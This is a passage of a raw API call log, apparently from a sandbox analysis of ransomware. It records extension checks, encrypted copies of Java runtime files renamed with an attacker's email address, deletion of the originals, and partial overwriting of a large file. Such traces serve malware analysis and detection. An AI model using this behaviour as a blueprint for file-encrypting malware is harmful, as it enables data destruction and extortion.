Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.927] lstrlenW (lpString=".1cd") returned 4 [0301.927] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.927] lstrlenW (lpString=".jpg") returned 4 [0301.927] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.927] lstrlenW (lpString=".doc") returned 4 [0301.927] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.927] lstrlenW (lpString=".docx") returned 5 [0301.927] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0301.927] lstrlenW (lpString=".pdf") returned 4 [0301.927] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.927] lstrlenW (lpString=".xls") returned 4 [0301.927] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.927] lstrlenW (lpString=".xlsx") returned 5 [0301.927] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0301.927] lstrlenW (lpString=".ppt") returned 4 [0301.927] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.928] lstrlenW (lpString=".zip") returned 4 [0301.928] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.928] lstrlenW (lpString=".rar") returned 4 [0301.928] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.928] lstrlenW (lpString=".bz2") returned 4 [0301.928] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.928] lstrlenW (lpString=".7z") returned 3 [0301.928] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.928] lstrlenW (lpString=".dbf") returned 4 [0301.928] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.928] lstrlenW (lpString=".1cd") returned 4 [0301.928] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.928] lstrlenW (lpString=".jpg") returned 4 [0301.928] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.928] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.928] lstrlenW (lpString="prism_sw.dll") returned 12 [0301.928] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0301.929] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=97856) returned 1 [0301.929] CloseHandle (hObject=0x10c8) returned 1 [0301.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0301.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.929] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0301.929] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.929] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.929] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0301.930] GetLastError () returned 0x0 [0301.930] ReadFile (in: hFile=0x10c8, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x17e40, lpOverlapped=0x0) returned 1 [0301.938] WriteFile (in: hFile=0x10b8, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x17e50, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x17e50, lpOverlapped=0x0) returned 1 [0301.940] ReadFile (in: hFile=0x10c8, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.940] WriteFile (in: hFile=0x10b8, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.940] SetEndOfFile (hFile=0x10b8) returned 1 [0301.941] CloseHandle (hObject=0x10b8) returned 1 [0301.941] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.941] SetEndOfFile (hFile=0x10c8) returned 1 [0301.942] CloseHandle (hObject=0x10c8) returned 1 [0301.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.943] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 1 [0301.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.943] lstrlenW (lpString=".doc") returned 4 [0301.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.943] lstrlenW (lpString=".docx") returned 5 [0301.943] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0301.943] lstrlenW (lpString=".pdf") returned 4 [0301.943] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.943] lstrlenW (lpString=".xls") returned 4 [0301.943] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.943] lstrlenW (lpString=".xlsx") returned 5 [0301.943] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0301.943] lstrlenW (lpString=".ppt") returned 4 [0301.943] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.943] lstrlenW (lpString=".zip") returned 4 [0301.943] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.943] lstrlenW (lpString=".rar") returned 4 [0301.943] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.944] lstrlenW (lpString=".bz2") returned 4 [0301.944] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.944] lstrlenW (lpString=".7z") returned 3 [0301.944] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.944] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.944] lstrlenW (lpString=".dbf") returned 4 [0301.944] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.944] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.944] lstrlenW (lpString=".1cd") returned 4 [0301.944] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.944] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.944] lstrlenW (lpString=".jpg") returned 4 [0301.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.944] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.944] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.944] lstrlenW (lpString=".doc") returned 4 [0301.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.944] lstrlenW (lpString=".docx") returned 5 [0301.944] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0301.944] lstrlenW (lpString=".pdf") returned 4 [0301.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.944] lstrlenW (lpString=".xls") returned 4 [0301.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.944] lstrlenW (lpString=".xlsx") returned 5 [0301.944] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0301.944] lstrlenW (lpString=".ppt") returned 4 [0301.944] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.944] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.945] lstrlenW (lpString=".zip") returned 4 [0301.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.945] lstrlenW (lpString=".rar") returned 4 [0301.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.945] lstrlenW (lpString=".bz2") returned 4 [0301.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.945] lstrlenW (lpString=".7z") returned 3 [0301.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.945] lstrlenW (lpString=".dbf") returned 4 [0301.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.945] lstrlenW (lpString=".1cd") returned 4 [0301.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0301.945] lstrlenW (lpString=".jpg") returned 4 [0301.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.945] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0301.945] lstrlenW (lpString="rmid.exe") returned 8 [0301.945] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0301.946] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=15936) returned 1 [0301.946] CloseHandle (hObject=0x10c8) returned 1 [0301.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0301.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.946] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0301.946] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.946] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.946] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0301.947] GetLastError () returned 0x0 [0301.947] ReadFile (in: hFile=0x10c8, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x3e40, lpOverlapped=0x0) returned 1 [0302.548] WriteFile (in: hFile=0x10b8, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x3e50, lpOverlapped=0x0) returned 1 [0302.549] ReadFile (in: hFile=0x10c8, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.549] WriteFile (in: hFile=0x10b8, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0302.549] SetEndOfFile (hFile=0x10b8) returned 1 [0302.549] CloseHandle (hObject=0x10b8) returned 1 [0302.549] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.549] SetEndOfFile (hFile=0x10c8) returned 1 [0302.550] CloseHandle (hObject=0x10c8) returned 1 [0302.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0302.625] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 1 [0303.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.025] lstrlenW (lpString=".doc") returned 4 [0303.025] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.025] lstrlenW (lpString=".docx") returned 5 [0303.025] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0303.025] lstrlenW (lpString=".pdf") returned 4 [0303.025] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.025] lstrlenW (lpString=".xls") returned 4 [0303.025] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.025] lstrlenW (lpString=".xlsx") returned 5 [0303.025] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0303.025] lstrlenW (lpString=".ppt") returned 4 [0303.025] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.025] lstrlenW (lpString=".zip") returned 4 [0303.025] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.025] lstrlenW (lpString=".rar") returned 4 [0303.025] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.025] lstrlenW (lpString=".bz2") returned 4 [0303.025] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.025] lstrlenW (lpString=".7z") returned 3 [0303.025] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.025] lstrlenW (lpString=".dbf") returned 4 [0303.025] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.025] lstrlenW (lpString=".1cd") returned 4 [0303.025] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.025] lstrlenW (lpString=".jpg") returned 4 [0303.025] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.026] lstrlenW (lpString=".doc") returned 4 [0303.026] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.026] lstrlenW (lpString=".docx") returned 5 [0303.026] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0303.026] lstrlenW (lpString=".pdf") returned 4 [0303.026] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.026] lstrlenW (lpString=".xls") returned 4 [0303.026] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.026] lstrlenW (lpString=".xlsx") returned 5 [0303.026] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0303.026] lstrlenW (lpString=".ppt") returned 4 [0303.026] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.026] lstrlenW (lpString=".zip") returned 4 [0303.026] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.026] lstrlenW (lpString=".rar") returned 4 [0303.026] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.026] lstrlenW (lpString=".bz2") returned 4 [0303.026] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.026] lstrlenW (lpString=".7z") returned 3 [0303.026] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.026] lstrlenW (lpString=".dbf") returned 4 [0303.026] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.026] lstrlenW (lpString=".1cd") returned 4 [0303.026] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0303.027] lstrlenW (lpString=".jpg") returned 4 [0303.027] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.027] lstrcmpiW (lpString1=".jsa", lpString2=".com") returned 1 [0303.027] lstrlenW (lpString="classes.jsa") returned 11 [0303.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.027] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=18677760) returned 1 [0303.027] CloseHandle (hObject=0x10d0) returned 1 [0303.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21 [0303.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0303.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0303.067] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.067] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc64 | out: lpNewFilePointer=0x0) returned 1 [0303.067] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc24 | out: lpNewFilePointer=0x0) returned 1 [0303.067] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b0a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30bfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b0a058*, lpNumberOfBytesRead=0x30bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0303.068] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc24 | out: lpNewFilePointer=0x0) returned 1 [0303.068] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30bfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b4a058*, lpNumberOfBytesRead=0x30bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0303.072] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30bfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0303.073] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc24 | out: lpNewFilePointer=0x0) returned 1 [0303.073] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30bfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b8a058*, lpNumberOfBytesRead=0x30bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0303.086] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.086] WriteFile (in: hFile=0x10d0, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x30bfca8, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfca8*=0xc0102, lpOverlapped=0x0) returned 1 [0303.099] SetEndOfFile (hFile=0x10d0) returned 1 [0303.099] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40000) returned 0x3f220c8 [0303.148] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc74 | out: lpNewFilePointer=0x0) returned 1 [0303.148] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f220c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30bfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f220c8*, lpNumberOfBytesWritten=0x30bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0303.149] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc74 | out: lpNewFilePointer=0x0) returned 1 [0303.149] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f220c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30bfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f220c8*, lpNumberOfBytesWritten=0x30bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0303.154] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc74 | out: lpNewFilePointer=0x0) returned 1 [0303.154] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f220c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30bfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f220c8*, lpNumberOfBytesWritten=0x30bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0303.156] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0303.157] CloseHandle (hObject=0x10d0) returned 1 [0303.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x21) returned 1 [0303.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.157] lstrlenW (lpString=".doc") returned 4 [0303.157] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0303.157] lstrlenW (lpString=".docx") returned 5 [0303.157] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0303.157] lstrlenW (lpString=".pdf") returned 4 [0303.157] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0303.157] lstrlenW (lpString=".xls") returned 4 [0303.157] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0303.157] lstrlenW (lpString=".xlsx") returned 5 [0303.157] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0303.158] lstrlenW (lpString=".ppt") returned 4 [0303.158] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0303.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.158] lstrlenW (lpString=".zip") returned 4 [0303.158] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0303.158] lstrlenW (lpString=".rar") returned 4 [0303.158] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0303.158] lstrlenW (lpString=".bz2") returned 4 [0303.158] 